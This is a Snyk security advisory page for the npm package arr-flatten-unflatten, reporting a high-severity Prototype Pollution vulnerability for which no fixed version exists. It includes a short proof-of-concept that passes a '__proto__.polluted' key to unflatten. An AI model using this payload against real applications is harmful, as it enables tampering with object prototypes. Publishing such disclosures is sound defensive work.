arr-flatten-unflatten@0.0.1

non-recursive method of flattening an array or arrays and unflattening the result

  • latest version

    1.1.4

  • first published

    7 years ago

  • latest version published

    5 years ago

  • licenses detected

    • >=0.0.1 <0.0.3
  • Direct Vulnerabilities

    Known vulnerabilities in the arr-flatten-unflatten package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    arr-flatten-unflatten is a non-recursive method of flattening an array or arrays and unflattening the result

    Affected versions of this package are vulnerable to Prototype Pollution via the constructor.

    POC:

    const { unflatten } = require('arr-flatten-unflatten');
    unflatten({'__proto__.polluted':true});
    console.log(polluted);
    

    How to fix Prototype Pollution?

    There is no fixed version for arr-flatten-unflatten.

    *